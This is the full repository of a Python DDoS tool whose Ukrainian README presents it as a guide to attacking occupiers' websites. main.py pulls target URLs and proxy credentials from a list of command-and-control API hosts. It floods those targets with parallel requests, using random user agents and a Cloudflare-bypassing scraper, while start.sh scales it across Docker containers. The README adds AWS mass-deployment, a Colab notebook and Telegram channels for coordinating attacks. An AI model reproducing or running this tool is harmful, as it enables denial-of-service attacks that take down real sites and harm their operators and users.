├── .gitignore
├── docs
├── docker_compose_installation.md
├── get_lsb_release.md
└── docker_installation.md
├── stop.sh
├── docker-compose.yml
├── start.sh
├── requirements.txt
├── Dockerfile
├── hosts.json
├── README.md
└── main.py
/.gitignore:
--------------------------------------------------------------------------------
1 | .idea/
--------------------------------------------------------------------------------
/docs/docker_compose_installation.md:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/stop.sh:
--------------------------------------------------------------------------------
1 | #bash
2 | docker-compose down
3 |
--------------------------------------------------------------------------------
/docker-compose.yml:
--------------------------------------------------------------------------------
1 | version: '3.1'
2 |
3 | services:
4 |
5 | app:
6 | build:
7 | context: .
8 | restart: on-failure
9 |
--------------------------------------------------------------------------------
/start.sh:
--------------------------------------------------------------------------------
1 | #bash
2 | count=$1
3 | if [ -z "$count" ]; then
4 | count=10
5 | fi
6 | docker-compose up --build -d --scale app=$count
7 |
--------------------------------------------------------------------------------
/requirements.txt:
--------------------------------------------------------------------------------
1 | aiocfscrape==1.0.0
2 | loguru==0.5.3
3 | urllib3==1.26.7
4 | requests==2.27.1
5 | aiohttp==3.8.1
6 | pyuseragents==1.0.5
7 |
--------------------------------------------------------------------------------
/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM python:3.9-slim
2 | RUN apt-get update
3 | RUN pip install --upgrade pip
4 | WORKDIR /app
5 |
6 | COPY requirements.txt .
7 | RUN pip install -r requirements.txt
8 |
9 | COPY . .
10 | CMD python main.py
11 |
--------------------------------------------------------------------------------
/docs/get_lsb_release.md:
--------------------------------------------------------------------------------
1 | # Як отримати значення lsb_release якщо у вас Linux Mint
2 |
3 |
4 | У терміналі вводимо наступне
5 |
6 | cat /etc/upstream-release/lsb-release
7 |
8 | Результат буде виглядати приблизно ось так
9 |
10 | DISTRIB_ID=Ubuntu
11 |
12 | DISTRIB_RELEASE=20.04
13 |
14 | DISTRIB_CODENAME=focal
15 |
16 | DISTRIB_DESCRIPTION="Ubuntu Focal Fossa"
17 |
18 | Потрібне нам значення це __focal__ зі строки __DISTRIB_CODENAME=focal__.
19 | У вас воно може відрізнятись
--------------------------------------------------------------------------------
/hosts.json:
--------------------------------------------------------------------------------
1 | [
2 | "http://46.4.63.238/api.php",
3 | "http://vladar.tk/api.php",
4 | "https://ddos.orks.tk/api.php",
5 | "https://ddos2.orks.tk/api.php",
6 | "https://ddos3.orks.tk/api.php",
7 | "http://hh1.guselietov.com/atack_api/api.php",
8 | "https://api-mirror.ambitioussea-4a98756f.westeurope.azurecontainerapps.io/api.php",
9 | "http://138.68.140.200/atack_api/api.php",
10 | "https://elm.dp.ua/atack_api.php",
11 | "https://war.testmysite.space",
12 | "https://baitol-or.website/atack_api-master/api.php",
13 | "https://putin-huilo81.nadom.app",
14 | "http://95.217.87.230:8000/api.php"
15 | ]
16 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | ## Гайд по DDoS сайтів окупантів
2 |
3 | ### Запуск через докер (потрібен попередньо встановлений докер і docker-compose)
4 | Інструкція як встановити докер [тут](/docs/docker_installation.md)
5 | 1) `git clone https://github.com/abionics/attacker`
6 | 2) `cd attacker`
7 | 3) `./start.sh`
8 | 4) "Щоб призупинити зашквар і трохи провітрити хату" `./stop.sh`
9 |
10 | Корегуйте параметри `REQUESTS_PER_SITE` та `PARALLEL_COUNT` для зміни швидкості.
11 | За замовчуванням використовуються проксі з апі ([приклад](http://46.4.63.238/api.php)).
12 | Також є можливість використовувати власні проксі або проксі файли (див. `CUSTOM_PROXY` та `CUSTOM_PROXIES_FILE`)
13 |
14 | ### Розгортання на AWS з автооновленням
15 | **[Зручний скрипт](https://gitlab.com/fk.ru.200/fuck-ru)** для AWS для автоматизації розгортання віртуалок в різних регіонах,
16 | час життя віртуалки 1 година, все працюе автоматично, ціна за 10 інстансів лише 0.48$ на добу!
17 |
18 | ### Без докеру
19 | 1) Встановити python, для linux це `sudo apt install git python`
20 | 2) `git clone https://github.com/abionics/attacker`
21 | 3) `cd attacker`
22 | 4) `pip3 install -r requirements.txt`
23 | 5) `python3 main.py`
24 | * при проблемах з pip3 на linux юзайте `apt install python3-pip`
25 |
26 | ### З використанням Google Colab
27 | Запускайте **[цей блокнот](https://colab.research.google.com/drive/1eOynwkRAmYcCRIOl7IDVitmrL9NbEQss)**
28 |
29 | ### Координація
30 | Координуємо наші атаки у группах, наприклад https://t.me/ddosKotyky та https://t.me/itarmyofukraine2022
31 |
32 | Про усі проблеми пишіть у issues, буду намагатися допомогти
33 |
--------------------------------------------------------------------------------
/docs/docker_installation.md:
--------------------------------------------------------------------------------
1 | # Увага, кроки описані нижче ви виконуєте на власний ризик, якщо ви не впевнені - краще використайте варіант з python
2 |
3 | # Як встановити docker
4 |
5 | ## Якщо ви використовуєте MacOS
6 |
7 | [Інструкція англійською](https://docs.docker.com/desktop/mac/install/)
8 |
9 | ## Якщо ви використовуєте (Ubuntu,Linux Mint)
10 |
11 |
12 | [Інструкція англійською](https://docs.docker.com/engine/install/ubuntu/)
13 |
14 | Далі дублюються команди з посилання вище для зручності.
15 |
16 | sudo apt-get update
17 |
18 | sudo apt-get install ca-certificates curl gnupg lsb-release
19 |
20 | curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /usr/share/keyrings/docker-archive-keyring.gpg
21 |
22 | Якщо у вас Linux Mint потрібно замінити __$(lsb_release -cs)__ у наступній команді на значення яке можна отримати за цією інструкцією [лінк](/docs/get_lsb_release.md)
23 |
24 | echo "deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/docker-archive-keyring.gpg] https://download.docker.com/linux/ubuntu \
25 | $(lsb_release -cs) stable" | sudo tee /etc/apt/sources.list.d/docker.list > /dev/null
26 |
27 | sudo apt-get update
28 |
29 | sudo apt-get install docker-ce docker-ce-cli containerd.io
30 |
31 | ## Якщо ви використовуєте Windows
32 |
33 | [Інструкція англійською](https://docs.docker.com/desktop/windows/install)
34 |
35 |
36 | # Як встановити docker-compose
37 |
38 | ## Ubuntu, Linux Mint
39 |
40 | sudo apt install python3 python3-pip
41 |
42 | pip3 install docker-compose
43 |
44 | ## Якщо у вас Mac чи Windows
45 | docker-compose повинен встановитись автоматично разом з docker
--------------------------------------------------------------------------------
/main.py:
--------------------------------------------------------------------------------
1 | import asyncio
2 | import json
3 | import random
4 | import typing
5 | from sys import stderr
6 |
7 | import requests
8 | from aiocfscrape import CloudflareScraper
9 | from aiohttp import ClientTimeout
10 | from loguru import logger
11 | from pyuseragents import random as random_useragent
12 | from urllib3 import disable_warnings
13 |
14 | HOSTS = 'https://raw.githubusercontent.com/abionics/attacker/master/hosts.json' # hosts of fucking sites
15 | TIMEOUT = ClientTimeout(
16 | total=10,
17 | connect=10,
18 | sock_read=10,
19 | sock_connect=10,
20 | )
21 | CUSTOM_PROXY = None # can be like 'http://login:username@1.2.3.4:5678' OR 'http://1.2.3.4:5678'
22 | CUSTOM_PROXIES_FILE = None # name of file with list of proxies, each one in separate line
23 | REQUESTS_PER_SITE = 50
24 | PARALLEL_COUNT = 30
25 | SHOW_REQUEST_EXCEPTIONS = False
26 | FORCE_HTTPS = True
27 |
28 | HEADERS_TEMPLATE = {
29 | 'Content-Type': 'application/json',
30 | # 'User-Agent': random_useragent(),
31 | 'Connection': 'keep-alive',
32 | 'Accept': 'application/json, text/plain, */*',
33 | 'Accept-Language': 'ru',
34 | 'Accept-Encoding': 'gzip, deflate, br'
35 | }
36 |
37 |
38 | def main():
39 | hosts = _get_hosts()
40 | loop = asyncio.get_event_loop()
41 | union = asyncio.gather(*[
42 | start_one(hosts)
43 | for _ in range(PARALLEL_COUNT)
44 | ])
45 | loop.run_until_complete(union)
46 |
47 |
48 | def _get_hosts() -> typing.Union[list, dict]:
49 | while True:
50 | try:
51 | return requests.get(HOSTS, timeout=3).json()
52 | except:
53 | continue
54 |
55 |
56 | async def start_one(hosts: list):
57 | while True:
58 | try:
59 | async with CloudflareScraper(timeout=TIMEOUT, trust_env=True) as session:
60 | host = random.choice(hosts)
61 | async with session.get(host, verify_ssl=False) as response:
62 | content = await response.text()
63 | data = json.loads(content)
64 | url = data['site']['url']
65 | url = _fix_url(url, force_https=FORCE_HTTPS)
66 | success = await attempt(session, url)
67 | if not success:
68 | if CUSTOM_PROXY:
69 | proxies = [CUSTOM_PROXY]
70 | elif CUSTOM_PROXIES_FILE:
71 | proxies = _load_proxies(CUSTOM_PROXIES_FILE)
72 | else:
73 | proxies = [
74 | f'http://{proxy_data["auth"]}@{proxy_data["ip"]}'
75 | for proxy_data in data['proxy']
76 | ]
77 | random.shuffle(proxies)
78 | for proxy in proxies:
79 | proxy = _fix_url(proxy)
80 | success = await attempt(session, url, proxy)
81 | if success:
82 | break
83 | except Exception as e:
84 | logger.warning(f'Exception, retrying, exception={e}')
85 |
86 |
87 | def _load_proxies(filename: str) -> list:
88 | with open(filename, 'r') as file:
89 | return file.read().splitlines()
90 |
91 |
92 | def _fix_url(url: str, force_https: bool = False) -> str:
93 | if not url.startswith('http'):
94 | 'http://' + url
95 | if force_https:
96 | url = url.replace('http://', 'https://')
97 | return url
98 |
99 |
100 | async def attempt(session: CloudflareScraper, url: str, proxy: str = None) -> bool:
101 | logger.info(f'\t\tTrying to attack {url} with proxy {proxy}')
102 | status_code = await request(session, url, proxy)
103 | if 200 <= status_code < 300:
104 | logger.info(f'START ATTACKING {url} USING PROXY {proxy}')
105 | for i in range(REQUESTS_PER_SITE):
106 | await request(session, url, proxy)
107 | logger.info(f'ATTACKING {url} IS DONE')
108 | return True
109 | return False
110 |
111 |
112 | async def request(session: CloudflareScraper, url: str, proxy: str = None) -> int:
113 | try:
114 | headers = _get_headers()
115 | async with session.get(url, headers=headers, proxy=proxy, verify_ssl=False) as response:
116 | return response.status
117 | except Exception as e:
118 | if SHOW_REQUEST_EXCEPTIONS:
119 | logger.warning(f'Exception on request, exception={e}, url={url}, proxy={proxy}')
120 | return -1
121 |
122 |
123 | def _get_headers() -> dict:
124 | headers = HEADERS_TEMPLATE.copy()
125 | headers['User-Agent'] = random_useragent()
126 | return headers
127 |
128 |
129 | if __name__ == '__main__':
130 | logger.remove()
131 | logger.add(
132 | stderr,
133 | format='{time:HH:mm:ss} | {level: <8} | {line} - {message}'
134 | )
135 | disable_warnings()
136 | main()
137 |
--------------------------------------------------------------------------------